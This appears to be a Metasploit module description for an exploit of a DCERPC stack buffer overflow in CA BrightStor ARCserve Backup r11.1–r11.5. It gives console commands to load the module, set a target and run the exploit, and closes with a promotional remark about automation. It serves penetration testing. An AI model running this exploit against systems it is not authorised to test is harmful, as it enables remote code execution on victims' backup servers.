This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup r11.1 - r11.5. By sending a specially crafted DCERPC request, an attacker could overflow the buffer and execute arbitrary code.
Windows
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/windows/brightstor/tape_engine_0x8a
msf exploit(tape_engine_0x8a) > show targets
...targets...
msf exploit(tape_engine_0x8a) > set TARGET < target-id >
msf exploit(tape_engine_0x8a) > show options
...show and set options...
msf exploit(tape_engine_0x8a) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
